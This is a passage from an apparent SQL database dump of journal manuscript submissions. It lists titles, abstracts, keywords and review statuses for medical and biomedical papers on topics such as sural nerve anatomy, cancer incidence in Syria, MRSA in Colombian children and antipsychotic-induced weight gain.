Coronary heart disease ',4089,NULL,'2021-12-10',NULL,'Submitted',2,NULL,'2023-08-07',NULL,1,1,'0','can be publish',0,'','',NULL,0,0,0,NULL,0),(11958,12261,667,0,'iptb-21-11958','Evaluation of Anatomical Variations in Origin and Depth of Sural Nerve in Cadavers ',NULL,14,2,'','Sural nerve is one of sensory nerves in lower limb which there are many variations based on origin, branches and path. Information of depth of in the sural nerve is important specially in harvesting. The study was consisting of 40 lower limb specimens in 20 cadavers that sural nerve was evaluated about origin, depth, its relation with lesser saphenous vein and length. Anatomical data was extracted and its origin was classified based on Ramakrishnan’s study. In this study, for the first time, the evidence about the depth of the sural nerve was obtained. In the most cases, nerve pathway passes between fibers of gastrocnemius muscles.\r\nThe mean nerve length was reported 36.05 cm and the most common pattern of the origin nerve was type 3A (30%) and type 5 was not observed and no was observed in cadavers in this study. Making of enough information about depth and path of the sural nerve can reduce the iatrogenic injury to the nerve during operative procedures of lower limb.\r\n',' Anatomical variation, Sural nerve, Cadavers, Depth, Origin\r\n',5211,NULL,'2021-12-11',NULL,'Submitted',2,NULL,'2022-11-02',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(11959,12263,959,0,'ipacr-21-11959','Cancer Incidence in the Syrian Coastal Zone in 2014',NULL,5,2,'Cancer-ASWR in SCZ 2014','Scarce data are available about the incidence of cancer in Syria. We aim to report on the world age-standardized incidence rate (ASR-W) of all cancer types excluding non-melanoma skin cancer (NMSC) of the Syrian Coastal Zone (SCZ) and the five leading cancer sites for males and females in2014. Data was obtained from the Unite for Radio- and Chemotherapy of Tishreen University Hospital (URCTUH) in Latakia, which was the only cancer unite in the SCZ from 2006-2016. In this retrospective study, the new cancer patients who lived in SCZ and registered with the URCTUH log book were included. The Syrian Central Bureau of Statistics (CBSSYR) provided the demographic data based on the population survey conducted in 2014. Data of all Cancer types excl. NMSC were presented as incidence rates by age, gender, and the five leading cancer sites using ASR-W per 105 populations in SCZ. A total of 3073 new cases of cancer were registered in URCTUH-2014, 39 NMSC and 87 incomplete patient\'s medical files were excluded. 1375 of 2947 new Cancer exclude NMSC were living in SCZ (Males: n. 678, 49.31% and Females: n.697, 50.69%). ASR-W per 100.000/y in SCZ were 73.6 and 68.6, 71.6 in, males, females and both sexes respectively. The leading cancer sites in SCZ were: lung (n.137, 20.2%, ASR-W: 14.8), bladder (n.67, 9.9%, ASR-W:7.7), prostate (n.59, 8.7%, ASR-W: 7.2), colon (n.43, 6.3%, ASR-W:4.7) and larynx (n.41, 6%, ASR-W: 4.5) in males and breast (n.344, 49.4%, ASR-W: 32.6), ovary (n.40, 5.7%, ASR-W: 4.1), lung (n.22, 3.2%, ASR-W: 2.3), stomach (n.22, 3.2%, ASR-W:2.3), corpus Uteri (n.21, 3%, ASR-W: 2.2) in females. The largest proportion in men of all cancer sites, Lung, Bladder, Prostate, Colon and Larynx were in the age group 65 years and older. The largest proportion of all cancer sites, Ovary, Lung, Stomach and Corpus Uteri in females were also in the age group older than 65 years except in breast cancer where the incidence was mostly in age group between 40-54 years (51.5% of cases). This study has provided the latest evidence on the epidemiology of cancer in the SCZ of Syria that could be used to implement preventive measure and control interventions in a developing country. ','Cancer- incidence- Syria- Latakia- Tartous',5212,NULL,'2021-12-12',NULL,'Submitted',19,NULL,'2022-07-19',NULL,1,1,'0',NULL,0,'','',NULL,0,4,0,NULL,0),(11962,12267,45,0,'iphsj-21-11962','Computed tomography based analysis of the normal measurements of the subglottic area among Saudi neonates and infants ',NULL,14,0,'','\r\nBackground \r\n\r\nSubglottic stenosis is a narrowing of the airway below the vocal cords and above the trachea. \r\n\r\n\r\nObjective\r\n\r\nTo have the normal measurements in the Saudi neonates and infants and use it when stenosis is questionable.\r\n\r\n\r\nMethod\r\n\r\nA cross sectional study was conducted in January 2014 till July 2018. including neonates and infants at Al-noor specialist hospital and Maternal and Children hospital in Mecca city . Infants of non-Saudi , intubated with endotracheal or nasogastric tube, diagnosed with subglottic stenosis or who have previous airway surgery and who had artifacts in the images were excluded . Data were collected using a collected sheet after obtained a consent through a phone call with parents. Anteroposterior and transverse diameters of the subglottic area were measured in mm on axial computed tomography scan images.\r\n\r\n\r\n\r\nResults\r\n\r\nThe mean anteroposterior dimension ± standard deviation of males at (0-6)m and (6-12)m was 6.48 ± 1.37 mm and 8.35 ± 1.74 mm and the mean transverse dimension ± standard deviation was 5.54 ± 0.99 mm and 6.23 ± 0.83 mm, respectively.  The mean anteroposterior dimension ± standard deviation of females at (0-6)m and (6-12)m was 6.80 ± 1.42 mm and 6.88 ± 1.10 mm and the mean transverse dimension ± standard deviation was 5.48 ± 1.2 mm and 5.80 ± 0.50 mm, respectively.\r\n\r\n\r\nConclusion\r\n\r\nComputed Tomography of the subglottic provides a convenient non-invasive imaging method to assess the size. \r\n','#neonates #infants #subglottic #stenosis #CT',2801,NULL,'2021-12-12',NULL,'Submitted',4,NULL,'2022-02-17',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(11963,12268,85,0,'iphspr-21-11963','The challenge of psychoanalytic psychotherapy in Japan: Medical administration, clinical practice, psychoanalytic training',NULL,19,0,'','The health insurance system plays an important role in psychiatric care and affects psychoanalytic psychotherapy, which is performed within psychiatric care. The actual state of psychoanalytic psychotherapy under the health insurance system varies from country to country. I have discussed psychoanalytic psychotherapy and the Japanese health insurance system with respect to the evidence-based practice in recent years. I would like to discuss Japan\'s various issues raised and share my views regarding 1) psychoanalytic psychotherapy under health insurance, 2) training of psychoanalytic practitioners in psychiatric care, 3) evidence-based psychoanalytic psychotherapy, and 4) access to psychoanalytic psychotherapy.','health insurance system, medical fee system, evidence-based practice, psychoanalytic psychotherapy, psychoanalytic training',3282,NULL,'2021-12-13',NULL,'Submitted',2,NULL,'2022-02-23',NULL,1,1,'1','Accepted the publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(11968,12272,1020,0,'ipmedt-21-11968','A Targeted Approach for Drug Development to Reduce Side Effects',NULL,3,0,'','Drug development is rarely a simple method. In fact, it\'s usually expensive, difficult, and time-consuming—and it almost always ends in failure. Researchers often need years to identify the processes of disease before they can even consider developing therapeutic options and begin on the lengthy, laborious process, due to the enormous complexity of the cell and the remarkable diversity of diseases.','Drug development, traditional strategy, Researchers',5044,NULL,'2021-12-13',NULL,'Submitted',12,NULL,'2021-12-31',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(11969,12273,1020,0,'ipmedt-21-11969','Molecular and Biochemical Aspects of Denitrification',NULL,3,2,'','Denitrification is a microbially mediated process that reduces nitrate to create molecular nitrogen  via a series of intermediate gaseous nitrogen oxide products. Denitrification is a type of respiration performed by facultative anaerobic bacteria that decreases oxidised forms of nitrogen in response to the oxidation of an electron donor such as organic materials. In order of most to least thermodynamically advantageous, the preferred nitrogen electron acceptors are nitrite nitric oxide, nitrite nitric oxide nitrous oxide  and ultimately dinitrogen , which completes the nitrogen cycle. Microbes that denitrogenate require a low oxygen content of less than 10% as well as organic C for energy. ','nitrite nitric oxide\r\ndinitrogen\r\n low oxygen content \r\n',5044,NULL,'2021-12-13',NULL,'Submitted',19,NULL,'2021-12-31',NULL,1,1,'0',NULL,0,'','',NULL,0,4,0,NULL,0),(11980,12281,277,0,'ipadm-22-11980','Infecciones por Staphilococos Aureus, presentaciones clínicas frecuentes en pediatría, sensibilidad en los últimos 3 años en un hospital de Montería, Córdoba',NULL,2,0,'infecciones pediatricas','Introducción. En la última década el Staphylococcus aureus ha sido uno de los principales agentes patógenos que ha producido un impacto negativo en la salud del ser humano, principalmente la población pediátrica, dadas sus características particulares de virulencia que le confieren alta capacidad para producir una amplia gama de enfermedades, de las cuales se estima que hasta un 70% de éstas son causadas por Staphylococcus aureus resistente a meticilina adquirido en la comunidad (SARM-AC) sin factores de riesgo asociados. En el siguiente estudio analítico, descriptivo y retrospectivo se evalúan y analizan los índices de prevalencia de causa de ingreso y casos asociados a infecciones pediátricas por Staphylococcus aureus resistente adquirido en la comunidad en una clínica de la ciudad de Montería, Córdoba, Colombia.\r\nObjetivos. Analizar el comportamiento de las infecciones por (SARM-AC) en población pediátrica en una clínica de la ciudad de Montería, describir las características clínicas, especificar el esquema de tratamiento antibiótico, e identificar el perfil de susceptibilidad de los aislamientos Staphylococcus aureus resistente a meticilina adquirido en la comunidad.\r\nMateriales y métodos. En el siguiente estudio analítico descriptivo, retrospectivo, se revisaron los registros de pacientes pediátricos entre 0-18 años, en un periodo de tiempo establecido entre febrero de 2018 a febrero de 2021 en una clínica de la ciudad de Montería, se revisaron variables demográficas y clínicas; y la presencia de pruebas diagnósticas para determinar la presencia del microorganismo aislado.\r\nResultados. Las infecciones causadas por Staphylococcus aureus resistente a meticilina adquirido en la comunidad (SARM-AC) presentan una prevalencia estimada del 37.5% en la población pediátrica incluida en el estudio, además de una resistencia a la Oxacilina y Cefoxitina de un 90%, lo cual evidencia la gran capacidad de virulencia de este patógeno y la importancia de la correcta aplicación de un tratamiento terapéutico adecuado para la misma. Asimismo, se observa de manera directa cómo la epidemiología de las infecciones estafilocócicas comunitarias ha presentado cambios radicales en los últimos 10 años.\r\nDiscusión.  Los  datos  encontrados son similares  a los  reportados en otros  estudios. La infección de piel y tejidos blandos es el tipo más común de infección producida por Staphylococcus aureus, siendo la  manifestación más  común de  enfermedad producida  por cepas  resistentes  a  meticilina adquiridas en la comunidad y el absceso cutáneo el principal motivo de consulta,  evidenciando  también  el aumento en la resistencia a los antibióticos empleados como tratamiento, asociadas siempre al medio sanitario.\r\n\r\n','Palabras clave: Staphylococcus aureus resistente a meticilina (SAMR) infecciones piel y tejidos blandos, Oxacilina, Susceptibilidad, Aislamiento.',2805,NULL,'2021-12-14',NULL,'Submitted',4,NULL,'2022-10-11',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(11984,12285,73,0,'ipjnn-21-11984','JUGULAR FORAMEN MENINGIOMA MANIFESTING AS JACKSON’S SYNDROME',NULL,2,0,'','Background: Jugular foramen meningiomas are quite exceptional.  However, there are a few cases reported in literature. In this topography, they can be mistaken for other tumors, such as schwannomas or paragangliomas.  Due to cranial nerve compression, Jackson\'s syndrome is a possible clinical manifestation.\r\nCase Description: We attended to a 58-year-old female who presented unilateral paresis of cranial nerves X to XII. Her MRI showed a solid lesion located in the right jugular foramen.  A retrosigmoid craniotomy with subtotal gross resection was performed.  Histopathology confirmed a meningothelial meningioma.\r\nConclusion: Jugular foramen meningiomas are rare, but as demonstrated in our report, should be included in a differential diagnosis of lesions in this topography.  Treatments range from expectant to surgery and radiosurgery.  ','jugular foramen meningioma; Jackson syndrome; meningioma; retrosigmoid craniotomy',4796,NULL,'2021-12-14',NULL,'Submitted',2,NULL,'2021-12-24',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12008,12307,85,0,'iphspr-21-12008','COVID 19 RESTRICTIONS AND SEX WORKERS IN CRISIS IN NAIROBI, KENYA',NULL,17,0,'','The COVID 19 response in Kenya has profoundly affected sex workers access to health. While most studies have focused on the barriers to healthcare in Kenya, much is not known on the effects of COVID-19 on sex workers living and working in informal settlements. In this qualitative study we interviewed 117 female sex workers and 15 healthcare providers in Nairobi’s informal settlements during the spring of 2020 during the first initial lockdowns and government curfews. Our findings suggest that the outbreak of COVID-19 has reinforced existing gender and health inequalities, doubling the burden of sex workers who need HIV prevention and treatment and sexual reproductive health services. Our study also underscores the effect of the restrictions imposed to curb the spread of the disease making it difficult for sex workers to access healthcare needs.','health, global health, health care',3282,NULL,'2021-12-15',NULL,'Submitted',2,NULL,'2021-12-31',NULL,1,1,'0','Accepted the publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(12013,12313,971,0,'ipaclr-21-12013','IgA-IgA biclonal gammopathy of undetermined significance: A case report and review of the literature.',NULL,2,0,'','Biclonal gammopathy is a rare disease entity characterized by the simultaneous appearance of two bands, at different positions, on the Serum Protein Electrophoresis (SPEP) and serum immunofixation electrophoresis (SIFE), resulting from the clonal expansion of two dissimilar neoplastic cell lines. We report a case of a biclonal gammopathy of undetermined significance. SPEP showed a biclonal appearance in the gamma region. SIFE confirmed the presence of an IgA-IgA double band. This combination of heavy chains is rarely described in the literature.','IgA-IgA Biclonal gammopathy – Undeteremined significance- Serum Protein Electrophoresis- serum immunofixation electrophoresis. ',3236,NULL,'2021-12-15',NULL,'Submitted',2,NULL,'2022-03-04',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12015,12315,277,0,'ipadm-22-12015','Infecciones por Staphilococos Aureus, presentaciones clínicas frecuentes en pediatría, sensibilidad en los últimos 3 años en un hospital de Montería, Córdoba.',NULL,2,0,'Infecciones','Introducción. En la última década el Staphylococcus aureus ha sido uno de los principales agentes patógenos que ha producido un impacto negativo en la salud del ser humano, principalmente la población pediátrica, dadas sus características particulares de virulencia que le confieren alta capacidad para producir una amplia gama de enfermedades, de las cuales se estima que hasta un 70% de éstas son causadas por Staphylococcus aureus resistente a meticilina adquirido en la comunidad (SARM-AC) sin factores de riesgo asociados. En el siguiente estudio analítico, descriptivo y retrospectivo se evalúan y analizan los índices de prevalencia de causa de ingreso y casos asociados a infecciones pediátricas por Staphylococcus aureus resistente adquirido en la comunidad en una clínica de la ciudad de Montería, Córdoba, Colombia.\r\nObjetivos. Analizar el comportamiento de las infecciones por (SARM-AC) en población pediátrica en una clínica de la ciudad de Montería, describir las características clínicas, especificar el esquema de tratamiento antibiótico, e identificar el perfil de susceptibilidad de los aislamientos Staphylococcus aureus resistente a meticilina adquirido en la comunidad.\r\nMateriales y métodos. En el siguiente estudio analítico descriptivo, retrospectivo, se revisaron los registros de pacientes pediátricos entre 0-18 años, en un periodo de tiempo establecido entre febrero de 2018 a febrero de 2021 en una clínica de la ciudad de Montería, se revisaron variables demográficas y clínicas; y la presencia de pruebas diagnósticas para determinar la presencia del microorganismo aislado.\r\nResultados. Las infecciones causadas por Staphylococcus aureus resistente a meticilina adquirido en la comunidad (SARM-AC) presentan una prevalencia estimada del 37.5% en la población pediátrica incluida en el estudio, además de una resistencia a la Oxacilina y Cefoxitina de un 90%, lo cual evidencia la gran capacidad de virulencia de este patógeno y la importancia de la correcta aplicación de un tratamiento terapéutico adecuado para la misma. Asimismo, se observa de manera directa cómo la epidemiología de las infecciones estafilocócicas comunitarias ha presentado cambios radicales en los últimos 10 años.\r\nDiscusión.  Los  datos  encontrados son similares  a los  reportados en otros  estudios. La infección de piel y tejidos blandos es el tipo más común de infección producida por Staphylococcus aureus, siendo la  manifestación más  común de  enfermedad producida  por cepas  resistentes  a  meticilina adquiridas en la comunidad y el absceso cutáneo el principal motivo de consulta,  evidenciando  también  el aumento en la resistencia a los antibióticos empleados como tratamiento, asociadas siempre al medio sanitario.\r\n','Palabras clave: Staphylococcus aureus resistente a meticilina (SAMR) infecciones piel y tejidos blandos, Oxacilina, Susceptibilidad, Aislamiento.',5023,NULL,'2021-12-15',NULL,'Submitted',2,NULL,'2022-04-16',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(12033,12295,1020,0,'','Short note on Nuclear Hormone Receptors','',3,0,'','Nuclear receptors are a type of proteins present within cells that are responsible for sensing steroid and thyroid hormones, as well as other chemicals, according to molecular biology. As a result, these receptors collaborate with other proteins to control the expression of certain genes, thereby regulating the organism\'s development, homeostasis, and metabolism.\r\nNuclear receptors are transcription factors because they have the ability to directly bind to DNA and influence the expression of nearby genes. Nuclear receptors normally only regulate gene expression when a ligand—a substance that alters the receptor\'s behaviour—is present. The binding of a ligand to a nuclear receptor causes a conformational change in the receptor, which activates the receptor and causes up- or down-regulation of gene expression. \r\n','receptor, down-regulation, ligand  ',5042,'','2021-12-15',NULL,'Submitted',4,0,'2021-12-17','',1,0,'1','',0,'','',0,0,0,0,NULL,0),(12034,12271,1020,0,'','Short note on Nuclear Hormone Receptors','',3,0,'','Thyroid and steroid hormone receptors, retinoids and vitamin D receptors, as well as \"orphan\" receptors with unknown ligands, all belong to the nuclear hormone receptor superfamily. Some of these receptors\' ligands have recently been discovered, indicating that lipid metabolism products such fatty acids, prostaglandins, and cholesterol derivatives can influence gene expression by binding to nuclear receptors. Nuclear receptors function as ligand-inducible transcription factors by engaging directly as monomers, homodimers, or heterodimers with the retinoid X receptor and DNA response elements of target genes, as well as \"cross-talking\" with other signalling pathways. ','vitamin D receptors, orphan receptors, unknown ligands',5044,'','2021-12-13',NULL,'Submitted',4,0,'2021-12-17','',1,0,'0','',0,'','',0,0,0,0,NULL,0),(12036,12331,45,0,'iphsj-21-12036','STAPHYLOCOCCAL SCALDED SKIN SYNDROME (SEPE): DIAGNOSIS AND TREATMENT. OUTBREAK CONTROL PRESENTED IN A NEONATAL UNIT AT A CLINIC IN MONTERIA COLOMBIA 2021.',NULL,2,0,'','Staphylococcal scalded skin syndrome (SEPE) is a reaction to a staphylococcal skin infection in which blisters form on the skin due to a staphylococcal toxin, which is common in infants and children. In the following observational study, the appearance of cases of a staphylococcal scalded skin syndrome (SEPE) in a neonatal intensive care unit (epidemiological outbreak) associated with health care (IAAS) is analyzed and the importance of having an infection committee in the service-providing institutions for the containment of these events is highlighted.','Epidemiological outbreak, infections associated with health care, staphylococcal scalded skin syndrome, intervention measures.',3825,NULL,'2021-12-17',NULL,'Submitted',2,NULL,'2021-12-31',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(12075,12371,277,0,'ipadm-22-12075','DIMERO D como marcador de severidad en COVID 19',NULL,25,0,'','La propia enfermedad producida por este virus tiene la capacidad de aumentar la acción procoagulante generan un aumento en la fibrinolisis tanto a nivel intravascular como extravascular, pero solo en aquellos pacientes con presentaciones más agresivas o severas de la infección,  este aumento del efecto fibrinolítico se refleja es un aumento en diversos biomarcadores como lo él Dímero D es por esta razón que a lo largo de la pandemia se ha estudiado la asociación de los niveles elevados de este marcador con muchas variables como el riesgo de ingreso a UCI, la necesidad de requerir ventilación mecánica invasiva (VMI) e incluso el riesgo de mortalidad. Es decir, desde diferentes puntos de vista se ha estudiado la relación existente entre los niveles elevados de Dímero D y la severidad de la infección.','Dímero D, Infección por SARS-COV2, COVID19 e hipercoagulabilidad, Estado protrombótico y COVID19. ',2794,NULL,'2021-12-19',NULL,'Submitted',2,NULL,'2022-04-13',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(12076,12372,277,0,'ipadm-22-12076','ZIGOMICOSIS EN PARED ABDOMINAL POR APOPHYSOMYCES ELEGANS, EN PACIENTE INMUNOCOMPETENTE POSTERIOR A ACCIDENTE DE TRÁNSITO.',NULL,2,0,'','La mucormicosis (zigomicosis) es una infección necrosante producida por hongos de la clase Zigomicetos y el orden mucoral. Se trata de una enfermedad de curso fulminante, asociada a bajas tasas de supervivencia, relacionadas en general con un diagnóstico precoz y un tratamiento quirúrgico-antibiótico agresivo. Habitualmente, se asocia a individuos con factores de riesgo, como puede ser la diabetes mellitus, el tratamiento con glucocorticoides a altas dosis, los trasplantes de médula ósea u órganos sólidos, la neutropenia o las enfermedades neoplásicas, aunque también está descrita su aparición en individuos inmunocompetentes sin dichos factores de riesgo. La enfermedad traumática grave, descrita como un injury severity score (ISS) mayor de 16, es considerada, basándose en casos aislados, un factor de riesgo para la aparición de este tipo de infecciones fúngicas invasoras, no quedando completamente aclarada su incidencia real. (7)\\\\r\\\\nA continuación, se presenta un caso de mucormicosis cutánea en pared abdominal asociada a traumatismo abdominal no penetrante en un paciente de 34 años inmunocompetente, así como su manejo médico y quirúrgico. \\\\r\\\\n','',2805,NULL,'2021-12-19',NULL,'Submitted',2,NULL,'2022-04-13',NULL,1,1,'0','accepted',0,'','',NULL,0,0,0,NULL,0),(12080,12377,85,0,'iphspr-21-12080','HEALTH CARE TODAY: WHOM DO WE REALLY CARE ABOUT?   INTERVENTIONS FOR PROMOTING HEALING AND HOPE',NULL,17,0,'','In this article, published by the Catholic Medical Association’s Linacre Quarterly (2021 88, 1) I addressed several key concerns presenting draconian threats to human dignity, freedom and human flourishing and health services in the United States, e.g. moral relativism; dehumanization and commodification of the person and the erosion of human dignity; primacy for caring for technology versus caring for the person; financial algorithms versus urgent human need; anemic responses in caring for the uninsured and unemployed, persons of color, the homeless, and the unwanted, to name a few.','Health, global health, health care',3282,NULL,'2021-12-20',NULL,'Submitted',2,NULL,'2022-01-03',NULL,1,1,'1','Accepted the publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(12091,12387,1020,0,'ipmedt-21-12091','Short Note on Enzyme Inhibitors',NULL,3,2,'','Enzymes catalyse nearly every cellular function. Modifiers are inorganic and organic compounds that modify the catalytic activity of specific enzymes. Activators (Positive modifiers) are compounds that increase enzyme activity, while inhibitors (Negative modifiers) are substances that decrease enzyme activity.','Enzymes catalyse\\r\\nActivators \\r\\ninhibitors',5044,NULL,'2021-12-20',NULL,'Submitted',19,NULL,'2021-12-31',NULL,1,1,'0',NULL,0,'','',NULL,0,4,0,NULL,0),(12103,12391,73,0,'ipjnn-21-12103','Antipsychotic-induced changes in blood levels of leptin and ghrelin in schizophrenia: a short-term prospective study ',NULL,14,0,'','Background: Schizophrenia (SZ) is a psychotic disorder with a complex pathophysiology. It requires long term treatment with antipsychotics (APs) which are associated with metabolic syndrome. Aim of the study: To assess the effect of three widely-used APs, namely olanzapine (OLZ), quetiapine (QUET), and risperidone (RIS) on body weight, and its relation with appetite hormones, metabolic markers, and oxidative stress, in SZ AP-naïve men. Subjects and Methods: 25 Patients were recruited and investigated in a functional follow-up analysis for 8 weeks. Critical changes in body weight as well as in leptin, ghrelin, glucose, lipid profile and oxidative stress markers were examined as a function of duration of AP exposure. Fifteen healthy men were included as controls. Results: At baseline, there were no major differences between SZ patients and controls. Treatment with APs caused a significant increase in body weight, leptin, glucose, cholesterol, triglycerides, LDL, VLDL, and malondialdehyde, which were negatively correlated with ghrelin, HDL, and catalase. These changes were more profound in the OLZ group, but negligible in the RIS one. However, not all patients in each treatment group were affected equally. Conclusion: The role of leptin in AP-induced weight gain is supported. However, not all patients respond to an AP similarly. Tailored SZ medications and thorough biochemical markers assessment must be incorporated in clinical treatments. Further studies with larger number of patients and longer periods of follow-up are recommended.\r\n \r\n\r\n \r\n','Critical differences, olanzapine, quetiapine, risperidone, oxidative stress, antipsychotic-induced weight gain, treatment outcome. \r\n ',508,NULL,'2021-12-20',NULL,'Submitted',2,NULL,'2022-02-04',NULL,1,1,'0','Accept the article in the original submission, it is well suitable for publication in the journal of Neurology and Neuroscience without any changes',0,'','',NULL,0,0,0,NULL,0),(12104,12392,975,0,'ipjbs-21-12104','OVERVIEW ON IRON OXIDE MAGNETIC NANOPARTICLES AND POLYOL METHOD OF SYNTHESIS',NULL,15,0,'','In recent times, the arena of nanoparticles and their wide range of applications have amassed interest in the domain of diagnostics and medical therapeutics. The following review entails their diverse array of chemical and electromagnetic properties, along with their correlation concerning particle size.[1] Furthermore, superparamagnetic behaviour is of sheer eminence in medical research, cell isolation devices, enzyme immobilization, controlled release systems, and the separation of biological materials.[1][8] In contrast with other magnetic nanoparticles, magnetite and maghemite displayed higher biocompatibility and lower toxicity during in-vitro/in-vivo studies.[2][10][11][12][13] This review also summarises a brief on the pre-existing methods of preparation, properties, and applications of nanoparticles.[1] In addition, the polyol method of synthesis has also been emphasized.','nanoparticles, iron oxide nanoparticles, superparamagnetism',3677,NULL,'2021-12-20',NULL,'Submitted',2,NULL,'2022-07-26',NULL,1,1,'1','accept',0,'','',NULL,0,0,0,NULL,0),(12108,12089,85,0,'iphspr-21-12108','SOCIAL PROTECTION POLICIES AND ABSENCE OF GIRLS AND WOMEN DURING THE COVID-19 RESPONSE: ANALYSIS OF POLICIES AND PROGRAMMES IN THE ARAB STATES',NULL,14,0,'','Nearly two years into the pandemic COVID-19 continues to adversely impact peoples lives globally. The coronavirus now has a foothold in 216 countries, areas or territories (UNFPA, 2020). The pandemic has affected people individually and collectively. The COVID-19 crisis has resulted in unprecedented shocks to economies, food systems and labour markets globally and in the Arab region, threatening the income and food security of millions of people. While the health and economic crisis caused by the pandemic affected everyone, disproportionate economic impact on individuals and groups who may already be vulnerable, marginalised or overlooked started to become apparent (House of Commons, 2021). At a time of global emergency, it was vital that the crisis response did not leave anyone behind. Yet the pandemic affected some communities more than others and the social protection responses by governments have particularly ignored women needs.','health, health care, global health, policy research',3282,NULL,'2021-12-21',NULL,'Submitted',14,NULL,'2021-12-23',NULL,1,1,'1','Accepted the publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(12133,10406,73,0,'ipjnn-21-12133','Anton syndrome due to bilateral posterior cerebral artery stroke with polyneuropathy in a patient with uncontrolled diabetes mellitus ',NULL,2,0,'','Abstract : \r\nAnton syndrome comprises of visual loss from cortical damage with patients not perceiving their own blindness in the absence of psychiatric illness or underlying cognitive impairment. Most commonly it results from bilateral posterior cerebral artery stroke. \r\nIn 1920, Meyer first reported occipital lobe infarction and postulated compression of branches of the posterior cerebral artery as the causal factor for Anton syndrome.\r\nJoseph Babinski (1857 - 1932) used the term “anosognosia” for the first time, to describe the unawareness of the deficit in patients with hemiplegia. \r\nWe present an elderly man with uncontrolled diabetes mellitus who was admitted with symptoms of sudden blurring of vision and repeated fall but he denied having visual loss. On evaluation he was found to have bilateral posterior cerebral artery ischemic stroke with hemorrhagic conversion leading to cortical blindness as well as distal demyelinating motor sensory polyneuropathy.','Anosognosia, PCA stroke, Anton syndrome, diabetic microinfarction',334,NULL,'2021-12-22',NULL,'Submitted',2,NULL,'2022-04-13',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12157,12426,975,0,'ipjbs-21-12157','Modulation of Heart Rate Variability Through Breathing Exercise in Stressed Medical Students',NULL,14,2,'','Objective: To determine the effect of blowing balloon exercise in the modulation of heart rate variability.\r\nDesign: pretest-posttest quasi-experimental study\r\nSubjects and methods: Sixty students diagnosed with moderate stress based on Depression Anxiety Stress Scale (DASS) Proforma were enrolled in the study. Before and after a supervised blowing balloon exercise, the participants\' pulmonary function tests, electrocardiograms, and DASS scores were recorded.  Participants\' ECGs were recorded for ten minutes using the Power lab model yam 4/25T. \r\nResults: Blowing balloon exercise resulted in a significant reduction of DASS score (p<0.001), significant improvement in pulmonary function tests (p<0.001). Among Heart rate variability parameters, the participants\' standard deviation of successive N-N interval, high-frequency component, and high frequency normalized units were significantly increased (p<0.05) after blowing balloon exercise. Heart rate, low-frequency normalized units, and the ratio of low-frequency normalized value to high-frequency normalized value were significantly reduced (p<0.05) after blowing balloon exercise.\r\n Conclusions: Blowing balloon exercise enhances heart rate variability and pulmonary function tests in medical students while reducing their stress levels.','Heart Rate Variability, Lab chart, Pulmonary function tests, Power lab, stress.',4089,NULL,'2021-12-24',NULL,'Submitted',2,NULL,'2022-11-02',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12170,12436,45,0,'iphsj-21-12170','Exploring the experiences of healthcare staff and facilitators transitioning from in-person to virtual Schwartz Rounds throughout the COVID-19 pandemic',NULL,25,0,'','Schwartz rounds provide opportunities for staff in healthcare to reflect on their experiences in a confidential setting. Newcastle upon Tyne have been running Schwartz rounds for several years. In early 2020, all in person meetings were cancelled, including Schwartz rounds. The decision was made to continue Schwartz rounds virtually to continue to provide a space for reflection. The study explored the experiences of staff and facilitators in transitioning from in-person, to virtual Schwartz rounds.','COVID-19, Schwartz Rounds, Virtual, Staff support, Reflection, Facilitators, Healthcare staff, Pandemic',4825,NULL,'2021-12-24',NULL,'Submitted',2,NULL,'2022-02-16',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(12177,12443,975,0,'ipjbs-21-12177','Recent Progress on Hepatitis C Vaccine Development: A Systematic Review ',NULL,15,0,'','Chronic hepatitis C is one of the most common causes of liver disease and cancer world-wide. 20% of cases of chronic hepatitis are at high risk to develop cirrhosis and amongst them there is a 4%-5% annual incidence rate of hepatocellular carcinoma. Around the world, HCV infection is one of the leading causes of permanent liver damage, and related deaths, especially due to end-stage liver disease and hepatocellular carcinoma. Emerging data suggest that viral cure reduces, but does not eliminate the risk for hepatocellular carcinoma (HCC) development.The question that this paper seeks to find the answer to is, are there any In vitro or in vivo trials, currently being executed to discover a hepatitis C vaccine for those at risk, or already afflicted with, hepatitis C. If so, what is the perceived plausibility that an effective one is soon in the making? To find appropriate literature to assess, 70 articles were originally solicited, leaving exactly twelve remaining for data analysis through tabular format. Of these, the most promising trial vaccine was found to be a dendritic cell vaccine currently being created and tested by the Russian Academy of Sciences. The future for hepatitis C vaccine development looks bright, but there are still many continued challenges to the development of a perfectly potent therapy. \r\n',' hepatitis C, vaccine, vaccine advancements, antigenic shift, viral markers, immune response, drug therapy\r\n',3677,NULL,'2021-12-26',NULL,'Submitted',2,NULL,'2022-07-27',NULL,1,1,'0','accepted',0,'','',NULL,0,0,0,NULL,0),(12190,12454,251,0,'ipacm-22-12190','Cloning of Streptokinase gene under thermal sensitive promoter of lambda phage into E.coli genome',NULL,5,0,'','Background and Aim: One of the most important causes of death due to stroke in the world is the formation of clots (thrombosis) in blood vessels and subsequent disruption of blood flow. Streptokinase can form complexes with plasminogen molecules and cause clot destruction. The aim of this study was to clone and recombinant expression of the streptokinase gene in Escherichia coli during the use of the adjuvant vector and under the heat-sensitive Lambda Pl phage promoter.\r\nMethods: First, two homologous fragments 1 and 2 of the main DNA of E. coli strain HB101 were amplified by PCR method and cloned in T-vector plasmid by enzymatic cleavage method and placed together in pBluescript plasmid. It was then cleaved between two homologous fragments by XhoI and SalI enzymes, and the streptokinase gene, along with the heat-sensitive promoter of the clone and the recombinant plasmid, entered the bacterium by electroporation. Finally, the entry and expression of the target enzyme were confirmed by electrophoresis and Western blotting.\r\nResults: Successful expression is of this gene under a heat-sensitive promoter. In a way that with increasing temperature, they 